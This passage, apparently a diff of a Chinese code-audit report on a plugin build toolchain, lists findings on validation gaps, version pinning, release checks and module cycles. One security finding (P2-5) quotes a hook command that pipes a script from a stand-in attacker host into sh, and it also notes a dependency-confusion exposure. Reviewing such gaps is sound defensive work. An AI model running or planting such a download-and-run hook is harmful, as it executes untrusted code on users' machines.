`0700` 意味着只有构建者本人能 traverse,因此 `main.mjs` / `server.mjs` 上精心保证的 `0755` 对**任何其他用户都不可达**。现实受影响场景:CI runner 以不同 uid 打包、容器 `COPY --chown`、`tar` 保留 mode 后解包、多用户共享机器、把 plugin 安装到系统级目录。同时这也与 `dist` 之外所有工程目录(`0755`)不一致,且完全不在任何测试视野内(仓库测试全部以同一 uid 运行,`verify-playground.mjs` 只断言文件 mode)。 -- **最小复现:** `pnpm run build` 后执行 `find packages/playground/dist -type d -exec stat -f "%Sp %N" {} \;`。 -- **建议修改位置与最小修复:** 在 `transaction.ts` 的 swap 前(或 `materializePackageUnits` 内)对 stage 中所有目录统一 `chmod 0o755`,并把目录 mode 纳入 `validatePackageUnits` / `validatePreservedPlatforms` 的复核基准,与文件 mode 同等对待。 -- **是否需要架构决策:** 不需要,但需要一次明确的产品决定:交付目录 mode 固定为 `0755`。 -- **测试与 DoD:** materialize / candidate / transaction / subset-preserve 四条路径产出的所有目录 mode 均为 `0755`;`verify-playground.mjs` 的 mode 快照扩展到目录;两次构建目录 mode 一致。 - ---- +### P2-1 · 真实问题 · 架构守卫测试硬编码九个包的精确版本号,且无任何同步机制 -#### P2-2 — managed-rolldown 拒绝合法的 `addWatchFile()`,第三方集成无法登记"尚未生成"的依赖(本轮新发现) +**证据** -- **分类 / 置信度:** Correctness / **High** -- **证据:** `packages/core/src/compiler/compiler-host.ts:171-191`(`auditedWatchFile`,关键在 `:179` 的 `catch(() => path.normalize(file))`);`packages/core/src/kernel/watch-registry.ts:104-108` -- **当前行为 [EXEC]:** `auditedWatchFile` 的注释明确写着"尚未创建的 Plugin watch 候选保持 normalize 路径",即**有意支持**尚不存在的 watch 目标。但该意图在两处都不成立。用三个对照用例实测(`.llmdoc-tmp/repros/watchfile-repro.test.ts`),全部在 owner 自己已授权的 source root 内: +`packages/test/test/architecture/workspace-layout.test.ts:10-17` - | 用例 | 结果 | - | --- | --- | - | A:已存在、不在 module graph 中的文件 | ✅ SUCCEEDED | - | B:**尚不存在**的文件 | ❌ **整个 compile 失败** | - | C:module graph 中的入口文件(对照) | ✅ SUCCEEDED | - - 用例 B 有两种不同的失败形态,取决于工程根是否有 symlink 祖先: - - 工程根经过 symlink(macOS `/tmp`、`/var`,以及 `/home → /export/home` 之类):`scopes.sourceRoots` 是 realpath 过的,而 fallback 返回的是**未** realpath 的 `path.normalize(file)`,两者永不匹配 → 报 `Managed Rolldown registered a watch file outside its authorized module graph.` ——**这条错误信息本身是错的**,该路径明明在授权范围内。 - - 工程根无 symlink:通过 `auditedWatchFile`,随后在 `WatchRegistry.replace` 的 `fs.lstat` 检查(`watch-registry.ts:104-108`)失败 → 报 `Watch observation must reference a regular file.` -- **为什么是真实故障:** `this.addWatchFile(<尚未生成的文件>)` 是 Rolldown/Rollup 插件的标准用法("当这个配置文件出现时重建")。当前实现让任何这样做的可信第三方集成整个 compile 失败,且错误信息误导。这正是"managed-rolldown 是否限制得无法支持第三方集成"这一问题的实证答案。官方 Hooks/MCP/Runtime 不使用 `addWatchFile`,所以被完全掩盖。 -- **建议修改位置与最小修复:** `compiler-host.ts:179` 的 fallback 改为对不存在路径做等价 canonicalization(逐级向上 realpath 已存在的祖先再拼接剩余段),使其与 `scopes.sourceRoots` 同基准比较;`watch-registry.ts:104-108` 为"授权范围内但尚不存在"的 observation 定义合法状态(记录但不 lstat 断言),或让 Compiler 在提交前过滤掉它们并单独登记为"pending"。 -- **是否需要架构决策:** 需要一个小决策:Watch Registry 是否接纳"尚不存在但已授权"的 observation。建议接纳。 -- **测试与 DoD:** 上述 A/B/C 三例在有无 symlink 祖先的工程根下各跑一次,B 必须成功且该路径出现在 watch snapshot 中;越界路径仍必须被拒绝且错误信息准确。 - ---- - -#### P2-3 — MCP descriptor 校验不是 transport 判别联合,非法字段在到达 Contributor 前就被静默丢弃 - -- **分类 / 置信度:** Correctness, Security / **High** -- **证据:** `packages/extensions/mcp/src/discovery.ts:13`(`FIELDS` 是 HTTP 与 stdio 字段的**并集**)、`:146-180`(只校验命中 transport 的一侧) -- **当前行为 [EXEC]:** 顶层用并集 `{transport, url, auth, headers, entry, env}` 放行,随后只校验当前 transport 对应的字段。因此 stdio 上的 `url`/`auth`/`headers`、HTTP 上的 `entry`/`env` 被静默忽略;`auth` 也不拒绝 `{type:'none', env:'...'}` 这类未知嵌套字段。 - 执行复现(`.llmdoc-tmp/repros/mcp-fake-smoke/src/mcp/fake/mcp.ts`): - ```ts - export default { transport: 'stdio', entry: 'server.ts', - url: 'https://must-not-be-accepted.example/mcp', - auth: { type: 'none', env: 'MUST_NOT_BE_ACCEPTED' } } as never - ``` - 构建 `success=true`、`diagnostics=[]`,生成的 wire 只保留 stdio command。 -- **为什么是真实故障:** JS 配置、动态配置或 `as never` 都能越过类型层。作者的错误与潜在的 secret 意图被静默丢弃且无任何诊断。最终 Platform validator 也无法兜底——非法字段在 Contributor 之前就已消失。 -- **建议修改位置与最小修复:** `discovery.ts:13` 拆成按 transport 的精确字段集,`:146-180` 按 `auth.type` 使用精确嵌套字段集;required/optional、plain object、未知字段、互斥性全部在建立 Built State 之前完成。 -- **是否需要架构决策:** 不需要。 -- **测试与 DoD:** JS 与 `as never` 交叉字段、每种 auth 的多余/缺失字段、未知嵌套、非 plain auth 全部失败;官方合法输出与六平台 validator 仍然同构。 - ---- +```ts +const platformPackages = [ + ['claude-code', '@tokenroll/acplugin-platform-claude-code', '0.0.2-beta'], + ['codex', '@tokenroll/acplugin-platform-codex', '0.0.3-beta'], + ... +] as const; +``` +`:56` `expect(manifests.map(m => m.version)).toEqual(platformPackages.map(([,,v]) => v));` -#### P2-4 — Codex 同样缺少 orphan `.mcp.json` 兜底 +同步脚本 `scripts/sync-ecosystem-versions.mjs:37-38` 只写 `packages/acplugin/src/ecosystem/versions.json`,**不触碰这个测试**。 -- **分类 / 置信度:** Security / **Medium-High** -- **证据:** `packages/platforms/codex/src/validator.ts:1053-1065` -- **当前行为 [EXEC + READ]:** 与 P1-7 完全同源的不对称:hooks 有 `else if (assets.has('hooks/hooks.json'))` 兜底(`:1064-1065`),`mcpServers` 只在 `manifest.mcpServers !== undefined` 时校验(`:1053`)。投递 orphan `.mcp.json`(`url: https://user:pass@…`, `junk:1`)实测 `success=true`、`errors=0`。 -- **定级说明:** 定 P2 而非 P1,仅因为**未确认** Codex 自身是否在没有 manifest 字段时自动发现根 `.mcp.json`。校验器的缺口与 Claude Code 完全一致,可利用性取决于 Codex 加载器行为。 -- **最小修复:** 镜像 hooks 兜底,与 P1-7 同一行修复。 -- **DoD:** 与 P1-7 合并验证。 +**可复现后果** ---- +`.changeset/pre.json` 处于 `mode: "pre"` / `tag: "beta"`,且 `.changeset/kernel-v2-sdk-boundary.md` 对全部九个公开包声明了 `major`。`version-packages`(= `changeset version && versions:sync`)执行后,九个包版本全部变化,该断言必然失败。 -#### P2-5 — 第三方 Contributor 可向 hooks wire 注入任意 shell 命令,最终校验不拦截 +叠加 P1-1,这个失败**不会在任何 CI 中出现**——`patch.yml` 生成的 version PR 只跑 lint/typecheck,`check.yml` 也不跑测试。失败会推迟到某个开发者本地跑测试时才炸,且看起来像一个无关的架构守卫红灯。 -- **分类 / 置信度:** Security, Architecture / **High** -- **证据:** 各平台 hook 校验只验证 wire schema 合法性;官方 Contributor 自愿限制为 `node <受管 handler>`,但**没有任何 Platform validator 强制"只能是受管 handler"** -- **当前行为 [EXEC]:** 一个只依赖公开 `/sdk` 的第三方 Extension,占用已声明的 `hooks` extension point,把 `command: "curl -s https://evil.example/x.sh | sh"` 写进 `hooks.json`,在 claude-code、codex、cursor、antigravity 四个平台上**校验全部通过**。 -- **诚实定性:** 这**不是 validator 的正确性缺陷**——目标平台自身的 hook schema 就允许任意 command 字符串,因此 validator 与平台协议是同构的(第 G 组问题 7 成立)。但它与系统的隐含承诺冲突:ACPlugin 的整个 capability 模型(owner-scoped Asset、Platform/Extension 无 `dist` 写权限、Execution Host 只运行本 Session 生成的 Asset)暗示"Extension 无法注入任意执行",而 hook wire 是一个未设防的逃逸口。 -- **建议修改位置与最小修复:** 这是威胁模型决策,不是 bug 修复。两个方向:(a) 在各 Platform 的最终校验中要求 hook `command[0] === 'node'` 且 `command[1]` 必须解析为当前 candidate 内的已签发 Asset(OpenCode 的 MCP 校验已经是这个模型,见 `packages/platforms/opencode/src/validator.ts:90-94`,可直接借鉴);(b) 明确文档化"启用第三方 Extension 等同于信任其执行任意命令",并在 `llmdoc/architecture/` 记录该边界。 -- **是否需要架构决策:** **需要。** 必须明确 Extension 是否属于信任边界之内。 -- **测试与 DoD:** 若选 (a),第三方 fixture 注入非受管 command 在六个平台全部被拒,官方 Contributor 输出全部通过。 +**最小修复**:版本这一维已经有 `versions:check`(`check.yml:21`)保证 `versions.json` 与 manifest 一致,测试重复断言没有增量价值。二选一: ---- +- 删除 `:56` 这一行断言与元组第三列;或 +- 改为从 `packages/acplugin/src/ecosystem/versions.json` 读取期望值(保持 manifest↔snapshot 一致性断言,去掉字面量)。 -#### P2-6 — 八个已发布 tarball 的 `devDependencies` 中残留 `@acplugin/core@0.0.1-beta` +推荐前者:`versions:check` 已覆盖。 -- **分类 / 置信度:** Release, Security / **High** -- **证据:** `scripts/verify-release.mjs:381`(字段列表只有 `['dependencies','peerDependencies','optionalDependencies']`) -- **当前行为 [EXEC]:** 对九个包实际执行 `pnpm pack` 并解包后检查 packed manifest,九个中有八个(主包 + 六个 Platform)的 `devDependencies` 含 `"@acplugin/core": "0.0.1-beta"`——一个 `private: true`、**永不发布**的包,`workspace:*` 被改写成了一个不存在的版本号。两个 Extension 包干净。 -- **为什么是真实问题:** 不是运行时依赖,因此消费者 `npm install` 不受影响,literal 意义上也没有违反"公开 tarball 运行时依赖不得出现 `@acplugin/*`"。但它 (a) 发布了一个不可解析的 spec 与私有 workspace 拓扑,(b) `@acplugin` 是 npm 上未被占用的 scope,任何人在解包目录里 `npm install` 都会命中依赖混淆面,(c) 与该不变量的**意图**直接冲突。 -- **最小复现:** `tar -xzOf tokenroll-acplugin-0.0.2-beta.tgz package/package.json | grep acplugin/core` -- **建议修改位置与最小修复:** `verify-release.mjs:381` 的字段列表加入 `'devDependencies'`;从六个 Platform manifest 删除该 devDependency(已验证它们的 dist 只 import `@tokenroll/acplugin/sdk`,不需要它);主包如仍需要,通过 `publishConfig` 剥离或改为 workspace-only 的 tsconfig path。 -- **是否需要架构决策:** 不需要。 -- **测试与 DoD:** 九个 tarball 的四类依赖字段中均无 `@acplugin/*`。 +**改动范围**:测试。 +**测试建议**:改后跑 `pnpm --filter @acplugin/test run test`。 --- -#### P2-7 — `^0.0.2-beta` peer 范围排除一切后续主包版本,部分发布必然破坏八个集成 - -- **分类 / 置信度:** Release / **High** -- **证据:** 八个集成包的 `peerDependencies: { "@tokenroll/acplugin": "workspace:^" }`,pack 后为 `^0.0.2-beta`;`packages/acplugin/src/ecosystem-versions.ts:11` 的 `publicPackageRange()` 同理 -- **当前行为 [EXEC]:** `semver.validRange('^0.0.2-beta')` = `>=0.0.2-beta <0.0.3-0`。实测: - ``` - 0.0.2-beta → true - 0.0.3-beta → false - 0.0.3 → false - 0.1.0-beta → false - 1.0.0 → false - ``` -- **为什么是真实故障:** `llmdoc/guides/release.md` 明确允许只发布变更过的包。在 `0.0.x` 下,主包任何一次 bump 都会落在**所有已发布集成**的 peer 范围之外,消费者立即 `ERESOLVE`。这使"九包独立版本化"在 beta 窗口内对主包实际不成立。若 P1-1 的 `1.0.0` 是有意为之则此问题自动消失(`^1.0.0` → `<2.0.0`);若继续 beta 则是发布阻断项。 -- **建议修改位置与最小修复:** beta 窗口内把 peer 改为 `workspace:*` / 显式 `>=` 范围,或规定主包任何发布都必须九包同步 bump。 -- **是否需要架构决策:** **需要**,且与 P1-1 的 beta 策略决策是同一个决策。 -- **测试与 DoD:** 对"只发布主包"场景做 clean consumer 验证,八个集成仍可解析。 +### P2-2 · 真实问题 · `lifecycle/session-scope.ts` 位置错误,造成 services ↔ lifecycle 域循环 ---- - -#### P2-8 — clean consumer 门禁并未真正覆盖第三方边界 +**证据** -- **分类 / 置信度:** Test, Release / **High** -- **证据:** `scripts/verify-release.mjs:535-558`(第三方 Platform 用 `definePlatform` **内联定义在消费者自己的 `acplugin.config.ts` 里**)、`:566`(`extensions: [hooks(), mcp()]`,仅官方) -- **当前行为 [READ]:** 所谓"第三方 Platform 互操作"验证是在**同一个工程、同一份 `node_modules`、同一个主包实例**中内联定义的。因此未覆盖: - - ✗ 第三方 **Extension**——`defineExtension` / `isAcpluginExtension` / `resourceRoots` 在整条发布路径上从未被非官方代码调用; - - ✗ 作为**独立安装包**存在、拥有自己的 `peerDependencies` 与 `node_modules` 条目的第三方集成(即主包重复实例场景); - - ✗ `deliveryType: 'workspace' | 'package'` 的第三方 Platform(fixture 只用 `'plugin'`)。 -- **为什么是真实问题:** `.changeset/initial-1-0-baseline.md:43` 把"third-party Platform interoperability"列为已验证的发布门禁,实际强度低于该表述。(`llmdoc/guides/release.md:45` 的措辞"through **one** main-package peer instance"更诚实。) -- **附带正面结论 [EXEC]:** 跨 tarball 的 Symbol brand 机制本身是**正确的**——`packages/core/src/kernel-contracts.ts:16,19` 使用 `Symbol.for(...)`,用两份独立 `dist` 副本实测交叉校验双向通过(`same module instance? false` / `A validates B: true` / `B validates A: true`)。若用 unique `Symbol()` 则会失效。 -- **建议修改位置与最小修复:** 在 `verifyConsumer` 中物化一个 `file:` 形式的第三方包目录(自带 `package.json` + `peerDependencies: {"@tokenroll/acplugin":"*"}`,一个 `.mjs` + `.d.mts`,只 import `@tokenroll/acplugin/sdk`),同时导出一个 `definePlatform` 工厂和一个 `defineExtension` 工厂,加入消费者的 `dependencies` 与配置。约 40 行,一次覆盖三个缺口。 -- **是否需要架构决策:** 不需要。 -- **测试与 DoD:** 上述 fixture 在 packed clean consumer 中完成 typecheck + validate + build,并且是 P1-7/P2-3/P2-5 三个对抗性 fixture 的宿主。 +`services` 域有 4 个文件反向依赖 `lifecycle`: ---- +``` +packages/core/src/services/assets.ts:15 import { BuildSessionScope } from '../lifecycle/session-scope.js'; +packages/core/src/services/sources.ts:11 同上 +packages/core/src/services/watch.ts:3 同上 +packages/core/src/services/work-directories.ts:4 同上 +``` -#### P2-9 — managed-rolldown 的 deterministic 路径审计比 portable-node 窄,可泄漏物理根 +而 `lifecycle` 正向依赖 `services / output / package / resources`。按**值级**(排除 `import type`)计算的域依赖图存在 5 条环: -- **分类 / 置信度:** Correctness, Security / **High** -- **证据:** `packages/core/src/compiler/managed-auditor.ts:213-219` 对照 `packages/core/src/compiler/portable-auditor.ts:19-25` -- **当前行为 [READ]:** `policy.deterministic: true` 时,managed 只检查输出 code 是否包含**完整的、被打包模块的绝对 ID**;portable 的 `assertNoPhysicalPaths` 则检查 project / work / source / package 全部物理**根**,并同时检查 POSIX separator 变体。因此一个可信 managed 插件只要在 banner/renderChunk 注入 `process.cwd()` 或工程根字符串(不含任何完整模块文件名),就能通过检查并产出机器相关字节。 -- **为什么是真实故障:** `deterministic: true` 明确承诺机器物理根不进入输出;该守卫可被正常插件行为绕过,破坏稳定字节与路径脱敏承诺。 -- **建议修改位置与最小修复:** 把 portable 的 physical-root 扫描抽为共享内部 helper;managed audit 接收 project/work/source/package 根并检查原始与 POSIX 两种 separator 形式;保留现有完整 module-ID 检查。 -- **是否需要架构决策:** 不需要,是同一 deterministic policy 的一致化。 -- **测试与 DoD:** managed 插件注入四类根及 separator 变体均失败;`deterministic: false` 不受影响;现有合法 managed job 字节不变。 +``` +services -> compiler -> services +services -> lifecycle -> services +services -> lifecycle -> output -> services +services -> lifecycle -> output -> package -> services +services -> lifecycle -> resources -> services +``` ---- +其中后 4 条**全部且仅由这一个文件引起**。 -#### P2-10 — Extension build 失败被重复误归因为每个平台的 contribute failure +`packages/core/src/lifecycle/session-scope.ts` 全文 28 行,**零 import**,只有一个 `#active` 布尔 + `token` + `assertActive()` + `close()`。它是 capability registry 的会话存活原语,不是生命周期编排逻辑;目录意图里 `lifecycle` 承载的是 build/dev session 编排。 -- **分类 / 置信度:** Correctness / **High** -- **证据:** `packages/core/src/kernel/build-session.ts:150`(`projectHasErrors` 刻意排除带 `extension` 的 error)、`:747-757`、`:773-826`;`packages/core/src/resources/extension-provider.ts:347-349`(缺 Built State 时 throw) -- **当前行为 [READ]:** Extension build 失败记录 `EXTENSION_BUILD_FAILED` 且不进入 `built`。由于 `projectHasErrors()` 排除 extension-owned error,每个平台仍照常进入 contribute 阶段;匹配到 Contributor 却找不到 Built State 后 `throw`,被 `runPlatformStage('contribute')` 捕获,于是 Core 为**每一个**平台再追加一条 `PLATFORM_CONTRIBUTION_FAILED`。 -- **为什么是真实故障:** 健康的 Platform 被错误归因,report/inspect 产生重复噪声,并把 compile 阶段的根因扩散到 contribute 阶段,违反精确 phase/owner 契约。整体 failure 结论正确,但诊断不正确。 -- **建议修改位置与最小修复:** 在进入 package pipeline 之前计算"被失败 Extension 阻断的平台集合",跳过其 package 阶段且不归因给 Platform;或让 contribution collection 显式识别 already-failed Extension 并静默停止当前平台,而不是把缺 Built State 当作 Platform throw。**不得**产出缺少该 Extension 的可提交 candidate。 -- **是否需要架构决策:** 不需要,owner/phase 规则已明确。 -- **测试与 DoD:** Extension build throw + 多个匹配 Contributor;只出现 `EXTENSION_BUILD_FAILED`,无 spurious Platform error;相关平台不产 candidate,其他不依赖该 Extension 的平台仍独立执行。 +**可复现后果** ---- +不是运行时 bug(文件级无环,编译/构建正常)。后果是**目录分层不成立**:`services` 与 `lifecycle` 无法按依赖顺序理解或独立演进,任何试图给 Core 建立分层守卫(例如"services 不得依赖 lifecycle")的静态规则都会立刻误报。这与本轮"目标目录意图"给出的域划分直接冲突——目录名承诺了分层,实际结构没有。 -#### P2-11 — MCP `entry` 默认值在三处不一致,且诊断谎称文件不存在 +**最小修复**:把 `lifecycle/session-scope.ts` 整体移到 `services/session-scope.ts`(或 `security/`)。纯文件移动,零行为变化。需更新 6 处源码 import(4 个 services + `lifecycle/build-environment.ts:12` + 自身)与 17 处测试 import。移动后 `services -> lifecycle` 边消失,上述 4 条环同时消失。 -- **分类 / 置信度:** Correctness, Spec / **High** -- **证据:** `packages/extensions/mcp/src/types.ts:57`(TSDoc 写"默认 `./server.ts`")、`packages/extensions/mcp/src/discovery.ts:110`(解析默认值是 `'server.ts'`)、`:176`(校验默认值又是 `'./server.ts'`)、`:178`(诊断);`packages/core/src/kernel/path-policy.ts:50-52`(`safeRelativePath` 拒绝一切 `.` segment) -- **当前行为 [READ]:** 三处默认值互不一致。作者若按公开 TSDoc(以及由其生成的 `packages/docs/api/.../StdioMcpServer.md:17`)写 `entry: './server.ts'`,`sources.file()` 会因 `.` segment 被 `safeRelativePath` 拒绝,异常被 `discovery.ts:111-113` 吞掉,`entrySource` 保持 `undefined`,最终报出 `MCP_ENTRY_MISSING: "MCP stdio entry file does not exist."`——**而该文件确实存在**。 -- **注意(缩小范围):** 所有实际代码示例(`packages/docs/extensions/mcp.md:49`、`packages/extensions/mcp/README.md:51`、`packages/playground/src/mcp/local-tools/mcp.ts:6`)都正确使用 `'server.ts'`。因此这不是"文档示例跑不通",而是"公开类型注释声明的默认值被 API 拒绝 + 诊断内容与事实不符"。 -- **建议修改位置与最小修复:** 统一为 `'server.ts'`(改 `types.ts:57` 的 TSDoc 与 `discovery.ts:176`),并把该路径的诊断从 `MCP_ENTRY_MISSING` 改为 `MCP_ENTRY_INVALID` 并说明是路径语法问题;或在 MCP 作者边界显式规范化单个前导 `./`,继续拒绝空、绝对、`..` 与内部 dot。 -- **是否需要架构决策:** 不需要。 -- **测试与 DoD:** omitted / `server.ts` / `./server.ts` / nested / absolute / empty / `.` / `..` / 反斜杠九种输入;合法形式产出相同字节,非法形式给出准确诊断。 +**改动范围**:Core + Core 测试。 +**测试建议**:移动后重跑 `pnpm --filter @acplugin/core run test`;可选地在 `integration-boundaries.test.ts` 增加一条"`packages/core/src/services/**` 不得 import `../lifecycle/`"的守卫,把这个不变量钉住。 --- -#### P2-12 — Hooks 的严格 JSON 快照静默删除嵌套 `undefined` +### P3-1 · 真实问题(建议不修,改为显式记录)· services ↔ compiler 域循环 -- **分类 / 置信度:** Correctness, Standards / **High** -- **证据:** `packages/extensions/hooks/src/discovery.ts:117-118`(`if (descriptor.value === undefined) continue;`);对照 `packages/core/src/kernel/data-boundary.ts:57` 的严格处理 -- **当前行为 [READ]:** `copyJson()` 遇到对象 data property 值为 `undefined` 时直接跳过。因此 `{ event: 'SessionStart', typo: undefined }` 在到达"未知字段"schema 校验之前就变成了 `{ event: 'SessionStart' }`,作者的拼写错误被静默接受。 -- **为什么是真实故障:** `undefined` 不是 `JsonValue`。一个严格、可审计的数据边界不应把非法输入**改写**成合法输入。同时 Core 与 Hooks 两套快照实现在此发生语义分叉。 -- **建议修改位置与最小修复:** `discovery.ts:117-118` 改为对任何嵌套 `undefined` 直接拒绝;顶层可选字段的缺省仍由 `descriptorData` 显式处理。 -- **是否需要架构决策:** 行为修复不需要。后续可考虑在 `/sdk` 提供共享的严格不可变 JSON 快照原语,那是一个独立的小型 API 决策。 -- **测试与 DoD:** 嵌套/未知 `undefined`、getter、symbol、循环、稀疏/自定义数组、非有限数、`__proto__` 全部失败且 getter 不被执行;合法输入字节不变。 +**证据** ---- - -#### P2-13 — `troubleshooting.md` 列出四个不存在的诊断码 +``` +services/modules.ts:12-14 → compiler/engine-loader.js, compiler/managed/boundary.js, compiler/portable-node/policy.js +compiler/compiler-service.ts:13,15,16,17 → services/assets.js, sources.js, watch.js, work-directories.js +compiler/job-normalizer.ts:12 → services/sources.js +``` -- **分类 / 置信度:** Correctness, Spec / **High** -- **证据 [EXEC]:** 该文档开篇要求用户"优先使用 `--json` 获取稳定诊断码",但列表中四个码在源码中不存在。用真实 CLI `validate --json` 复现对照: +**性质**:这是真实的双向域依赖,且不像 P2-2 那样能靠移一个文件解决。根因是 `ModuleHost`(`services/modules.ts`,318 行)本身就是一个 Rolldown 驱动的加载器,它在概念上属于 compiler 层;而 `CompilerHost` 需要 Asset/Source/Watch/WorkDirectory 服务来签发受管产物。 - | 文档位置 | 文档写的码 | 实际输出 | - | --- | --- | --- | - | `troubleshooting.md:7` | `CONFIG_PLATFORMS_EMPTY` | `CONFIG_PLATFORMS_REQUIRED` | - | `troubleshooting.md:10` | `CONFIG_LEGACY_TARGETS` | `CONFIG_FIELD_UNKNOWN` | - | `troubleshooting.md:10` | `CONFIG_LEGACY_MODULES` | `CONFIG_FIELD_UNKNOWN` | - | `troubleshooting.md:16` | `SOURCE_SYMLINK_UNSUPPORTED` | `RESOURCE_ROOT_CONTENT_INVALID`(`resource-registry.ts:216`) | +**建议不修的理由**:文件级仍然无环,行为正确,测试完整(`module-host.test.ts` 188 行 + `compiler-managed.test.ts` 614 行)。真正的修法是把 `services/modules.ts` 归入 `compiler/`,属于又一次目录搬迁,收益是分层纯度、成本是再一轮 import 扰动与 review。**在 P2-2 之后单独评估**,或直接在 ADR 里写明"compiler 与 services 是同层互依的两个 Core 服务域,不构成分层",消除目录名带来的错误预期。 - 另注:`packages/core/src/kernel/source-registry.ts:271,395` 对作者树 symlink 是 `throw new Error(...)`,不产生结构化诊断,因此 `SOURCE_SYMLINK_UNSUPPORTED` 无论如何都不可能出现在 `--json` 中。 -- **最小修复:** 改为上表右列四个真实码。 -- **DoD:** 增加一个"文档中出现的诊断码必须在源码中存在"的静态检查。 +**改动范围**:(若修)Core + 测试;(若不修)文档/ADR。 --- -#### P2-14 — `packages/test/vitest.config.ts` 唯独漏了 hooks 的源码 alias +### P3-2 · 误报(已证伪)· 两个键排序比较器共存,但对输出字节不可观测 -- **分类 / 置信度:** Test / **High** -- **证据:** `packages/test/vitest.config.ts:20-32` -- **当前行为 [READ]:** Core、主包、`/sdk`、六个 Platform、`extension-mcp` 全部 alias 到 workspace 源码,**唯独没有** `@tokenroll/acplugin-extension-hooks`,而 `packages/test/test/hooks.test.ts:9` 与 `extension-api.types.ts:1` 正是从该包 import。结果是 hooks 集成测试跑的是构建产物,其余全部跑源码。 -- **为什么是真实问题:** 当前靠 `pretest` 全量构建掩盖。一旦 hooks 的 `dist` 与源码不同步(或因两份 Core 实例导致 brand 不一致),失败现象将极难定位。 -- **最小修复:** 补一行 `{ find: '@tokenroll/acplugin-extension-hooks', replacement: workspaceSource('../extensions/hooks/src/index.ts') }`。 +**证据** ---- +``` +packages/core/src/security/json-snapshot.ts:109 Object.keys(descriptors).sort(compareCodeUnits) // UTF-16 code unit +packages/core/src/package/json-snapshot.ts:74 entries.sort(([l],[r]) => compareCodePoints(l, r)) // Unicode code point +``` -### P3 - -| # | Finding | 证据 | 最小修复 | -| --- | --- | --- | --- | -| P3-1 | **`DevSession.current` 的公开语义未定义。** 类型 `packages/core/src/kernel-types.ts:1014` 是整个接口里**唯一没有文档注释**的成员。实现是"最近一次成功"(`dev-session.ts:369`,首轮失败时以失败报告播种),但失败轮的 `build-complete.report` 与随后读到的 `session.current` 会给出相反的 `success`。较旧的 spec 要求失败轮替换 `current`,较新的 remediation spec 要求保留成功值——两份规范互相矛盾。 | `kernel-types.ts:1014`;`dev-session.ts:363-371,447-450` | 补齐 TSDoc 明确为"最近一次成功报告";若两种状态都需要,改用两个无歧义字段而非一个 getter 兼表两义。**需要一次小型公开 API 决策。** | -| P3-2 | **`Scanner` 是无代码指称的僵尸术语。** `packages/core/src/scanner.ts` 已删除并被 `kernel-v2-architecture.test.ts:130` 断言不存在,Core 源码中无任何 Scanner 标识符,`llmdoc/reference/domain-glossary.md` 也无该词条;真实阶段名是 `DiagnosticPhase = 'discover'`。但全仓仍有 45 处以 Scanner 指代**当前**架构:`kernel-types.ts:472`、六个平台的 `src/components.ts`、`AGENTS.md:94`、`README.md:379` / `README.zh-CN.md:375`、`packages/docs/guide/troubleshooting.md:12`(章节标题"Scanner 失败",用户按此名去 `--json` 里找 phase 永远找不到)、`project-structure.md:27`、`guide/index.md:7`、`commands-skills-agents.md:3`、`config/public-files.md:36`、`migration/index.ts:84,90,169,1484,1526` 的"Core Scanner"注释。`migration/legacy/scanner/` 与"Legacy Scanner"是合法历史命名,不应改动。 | 同左 | 正常路径统一改为"discover 阶段 / Core 资源发现",或在 glossary 正式把 Scanner 定义为 discover 阶段别名。当前是两头落空。 | -| P3-3 | **staged whitespace 门禁失败。** `git diff --cached --check` exit 2,三处 `new blank line at EOF`。普通 `git diff --check` 只看 unstaged 故 exit 0。 | `packages/docs/ecosystem/assets-and-documents.md:25`、`packages/docs/ecosystem/build-service.md:28`、`packages/docs/guide/node-runtime.md:46` | 删除三个文件末尾新增空行并重新 stage;不改正文。DoD:两个 `git diff --check` 都 exit 0。 | -| P3-4 | **最外层 `INTERNAL_ERROR` 的 phase 被硬编码为 `package`。** 所有精确 stage 之外的 coordinator 异常统一报 `INTERNAL_ERROR`,但 phase 恒为 `package`,即使错误发生在 setup/discover/compile/cleanup 接缝。 | `packages/core/src/kernel/build-session.ts:968`;phase union `kernel-types.ts:941-945` | 新增明确的 `internal` phase,或由 coordinator 记录并上报当前真实阶段。若新增公开 phase 值,需一次小型 schema 决策。 | -| P3-5 | **`validateCompleteMaterialization` 在提交路径上是重复工作。** `build-session.ts:936-940` 把全部 Unit 写入独立临时根并复核;随后 `commitPackageUnits` 的 `materializePackageUnits` + `validatePackageUnits`(`transaction.ts:536,539`)做的是完全相同的事,且后者才是真正被发布的那份。于是每次 `build` 全量输出被物化三遍(per-unit candidate、aggregate、transaction stage)。以当前 playground 计为 292 文件 / 2.0 MB × 3。它对 `validate`/`inspect`(`commit=false`,不走事务)仍有唯一价值。 | `build-session.ts:936-940` | 将该调用收敛为 `if (!input.commit)`。一行改动。 | -| P3-6 | **`integrationNames` 依赖 JSON 键顺序。** `verify-release.mjs:19` 用 `packages.slice(1)`,隐含假设 `@tokenroll/acplugin` 是 `ecosystem-versions.json` 的第一个键。任何把该 JSON 字母序化的工具(格式化器,或为修 P1-2 而新增的生成器)都会让 `integrationNames` 包含主包而漏掉 antigravity,削弱 `:307,315,336` 的跨集成断言。 | `scripts/verify-release.mjs:17,19` | 改为 `Object.keys(ecosystemVersions).filter(n => n !== '@tokenroll/acplugin')`。**修 P1-2 时必须一并修,否则会被触发。** | -| P3-7 | **transaction marker 的 `scope` 字段被校验但从不参与恢复。** `transaction.ts:135-137` 严格校验 `scope`,但 `:481-509` 的恢复逻辑完全不分支于它。同时 `:469-471` 的 marker 不匹配会抛出且**没有任何自愈路径**——markers 保留在盘上,后续每次构建都以同样错误失败。经推演该状态在正常流程下不可达(两个 marker 由同一 record 写出,恢复期会先删两者),但一旦因手工编辑或异常写入进入,就需人工干预。 | `transaction.ts:135-137,469-471,481-509` | 要么让恢复真正使用 `scope`,要么从 record 中移除它;并为 marker 不匹配定义隔离/自愈策略。 | -| P3-8 | **`.changeset/initial-1-0-baseline.md:15` 版本描述过期**——写的是"the coordinated `0.0.1-beta` cohort",实际是 `0.0.2-beta` ×8 / `0.0.3-beta` ×1。 | 同左 | 更正文案。 | -| P3-9 | **文档把 brand 称为"private Symbol"**,实际是 `Symbol.for` 的**全局注册**键,可被手工伪造(已实测伪造对象可通过 `isAcpluginPlatform`)。机制本身正确(跨 tarball 必须如此,见 P2-8),但"private"措辞误导——它是 bundle 身份标记,不是完整性凭证(完整形状仍会被复核)。 | `llmdoc/guides/release.md:45` 及中文对照;`packages/core/src/kernel-contracts.ts:16,19,282` | 改述为"共享注册 Symbol brand"。 | -| P3-10 | **codex 被手工 bump 到 `0.0.3-beta` 而其 Changeset 被删除。** `packages/platforms/codex/package.json:3` 为 staged 修改,唯一描述该变更的 